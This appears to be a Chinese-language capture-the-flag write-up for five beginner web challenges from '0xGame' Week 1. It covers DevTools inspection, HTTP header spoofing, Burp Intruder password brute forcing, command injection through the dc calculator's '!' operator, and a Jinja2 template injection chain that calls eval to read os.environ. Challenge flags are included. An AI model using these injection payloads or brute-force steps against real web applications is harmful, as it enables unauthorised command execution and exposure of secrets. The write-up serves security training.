[Week 1] hello_web
- 打开网页尝试F12,发现被禁用,邮件同样发现被禁用
- 在Chrome下右上角三个点打开>更多工具>开发者工具
- 或者ctrl+shift+I
- 可以得到hint和flag前半段
- 0xGame{ee7f2040-1987-4e0a
- 在/f14g.php下提示查看相应包
- 检查>网络,刷新抓取加载资源
- 查看响应标头得到flag后半段
- -872d-68589c4ab3d3}
[Week 1] hello_http
- 提示要改变访问浏览器
- 用hackbar插件或者BurpSuite软件
- 下图是hackbar
- 继续提醒GET hello=world
- 继续提醒POST web=security
- 继续提醒修改cookie flag=secret
- 继续提醒由http://localhost:8080/跳转而来
- 继续提醒从127.0.0.1访问
- 得到0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec05c}
[Week 1] ez_login
- 发现没有回显,不适合注入
- 尝试字典爆破,用弱密码字典爆破
- Burp先截获一次Post请求,复制后进入Intruder攻击
- 将密码替换为payload代码,使用自己的字典
- 结果就出来了
- 登陆得到flag
- 0xGame{It_Is_Easy_Right?}
[Week 1] ez_rce
- 分析脚本,可以得到是在/calc路由下接收POST中expression的值,并存进变量expression
- 将变量与dc命令结合,并执行
- 注意到dc命令中有种特殊用法,!可以用来执行外部shell命令
- 因而可以通过POST expression=?来注入想要的命令
- 先进入url/calc页面
- 用HackBar POST expression=!env查看环境变量
- 得到0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}
[Week 1] ez_ssti
- 分析python发现传输出来了错误的URL用作404界面
- 结合题目去查找有关SSTI注入的内容
- 用URL/{{1+1}}试探发现输出为URL/2,说明存在注入点
- 构造payload
.__class__
: 访问空字符串的类.__bases__
: 访问字符串类的基类[0]
: 访问__bases__
元组的第一个元素,也就是<class 'object'>
.__subclasses__()
:返回所有object的直接子类- 先构造如下payload
{{"".class.bases[0].subclasses()}}
读取全部子类 - 找到
<class 'warnings.catch_warnings'>
获得索引[226]
- ps.其实可以用for循环构建来查找,最后用__name__输出显示查看是否正确
.__init__
: 访问该子类的初始化方法.__globals__
: 访问该初始化方法的全局命名空间['__builtins__']
:这是一个包含Python内置函数的模块['eval']
: 从__builtins__
中获取eval
函数。("__import__('os').environ")
:导入os库并访问environ函数- 构造payload
{{"".__class__.__bases__[0].__subclasses__()[226].__init__.__globals__['__builtins__']['eval']("__import__('os').environ")}}
- 传入payload获得环境变量
- 得到0xGame{Do_You_Want_To_Be_A_SSTI_Master?}
❓另外一种payload不知道为什么不能成立
{{"".class.bases[0].subclasses()[226].init.globals['os'].environ}}
这段payload则无法成功拿到环境变量,我在本地重新搭建了网页,回显如下
可能真的是我语法问题,但上面这段payload我是从别人的wp里看过来的啊
这道题非预期了,本来应该是把环境变量删掉的,但是不知道何故没有删掉,从而能从环境拿到flag。正解应该是直接从脚本变量里拿到的